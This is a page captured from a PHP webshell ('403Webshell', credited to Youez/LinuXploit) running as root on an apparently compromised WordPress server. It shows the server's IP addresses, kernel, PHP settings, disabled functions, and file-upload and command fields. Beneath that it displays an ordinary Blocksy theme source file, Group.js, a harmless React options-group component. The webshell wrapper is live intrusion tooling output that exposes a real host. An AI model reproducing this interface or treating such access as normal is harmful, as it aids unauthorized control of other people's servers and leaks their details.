403Webshell
Server IP : 38.190.208.107  /  Your IP : 216.73.216.207
Web Server : nginx/1.28.1
System : Linux ht2026040333114 6.1.0-10-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.37-1 (2023-07-03) x86_64
User : root ( 0)
PHP Version : 8.2.28
Disable Function : passthru,exec,system,putenv,chroot,chgrp,chown,shell_exec,popen,proc_open,pcntl_exec,ini_alter,ini_restore,dl,openlog,syslog,readlink,symlink,popepassthru,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,imap_open,apache_setenv,eval,assert,passthru,system,exec,shell_exec,popen,proc_open
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /www/wwwroot/wp.3/wp-content/themes/blocksy/static/js/options/containers/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /www/wwwroot/wp.3/wp-content/themes/blocksy/static/js/options/containers/Group.js
import { createElement, Fragment } from '@wordpress/element'
import OptionsPanel from '../OptionsPanel'
import { capitalizeFirstLetter, optionWithDefault } from '../GenericOptionType'

import {
	useDeviceManagerState,
	useDeviceManagerActions,
} from '../../customizer/components/useDeviceManager'
import ResponsiveControls from '../../customizer/components/responsive-controls'

import { getValueFromInput } from '../helpers/get-value-from-input'

import deepEqual from 'deep-equal'

const Group = ({
	renderingChunk,
	value,
	onChange,
	onChangeMultiple,
	purpose,
}) =>
	renderingChunk.map((groupOption) => {
		const {
			label,
			options,
			id,
			attr = {},
			wrapperAttr = {},
			responsive = false,

			hasRevertButton,
			hasGroupRevertButton = false,
		} = groupOption
		const { currentView } = useDeviceManagerState()
		const { setDevice } = useDeviceManagerActions()

		const groupContents = (
			<OptionsPanel
				purpose={purpose}
				onChange={onChange}
				onChangeMultiple={onChangeMultiple}
				options={options}
				value={value}
				hasRevertButton={hasGroupRevertButton ? false : hasRevertButton}
			/>
		)

		const handleRevert = () => {
			const defaults = getValueFromInput(options, {})

			if (onChangeMultiple) {
				onChangeMultiple(defaults)
				return
			}

			// In customizer, the logic is prone to race conditions due to
			// multiple updates happening in sequence.
			Object.keys(defaults).reduce((previousPromise, nextChoice) => {
				return previousPromise.then(() => {
					return new Promise((r) => {
						setTimeout(() => {
							onChange(nextChoice, defaults[nextChoice])
							r()
						})
					})
				})
			}, Promise.resolve())
		}

		return (
			<div key={id} className="ct-controls-group" {...wrapperAttr}>
				{label && (
					<header>
						<label>{label}</label>

						{hasGroupRevertButton && (
							<button
								type="button"
								disabled={deepEqual(
									getValueFromInput(options, {}),
									getValueFromInput(options, {}, (id) => ({
										[id]: value[id],
									}))
								)}
								className="ct-revert"
								onClick={handleRevert}>
								<svg fill="currentColor" viewBox="0 0 35 35">
									<path d="M17.5,26L17.5,26C12.8,26,9,22.2,9,17.5v0C9,12.8,12.8,9,17.5,9h0c4.7,0,8.5,3.8,8.5,8.5v0C26,22.2,22.2,26,17.5,26z" />
									<polygon points="34.5,30.2 21.7,17.5 34.5,4.8 30.2,0.5 17.5,13.3 4.8,0.5 0.5,4.8 13.3,17.5 0.5,30.2 4.8,34.5 17.5,21.7 30.2,34.5 " />
								</svg>
							</button>
						)}

						{responsive && (
							<ResponsiveControls
								device={currentView}
								responsiveDescriptor={responsive}
								setDevice={setDevice}
							/>
						)}
					</header>
				)}
				<section
					{...attr}
					{...(currentView !== 'desktop'
						? { 'data-disabled-last': '' }
						: {})}>
					{groupContents}
				</section>
			</div>
		)
	})

export default Group

Youez - 2016 - github.com/yon3zu
LinuXploit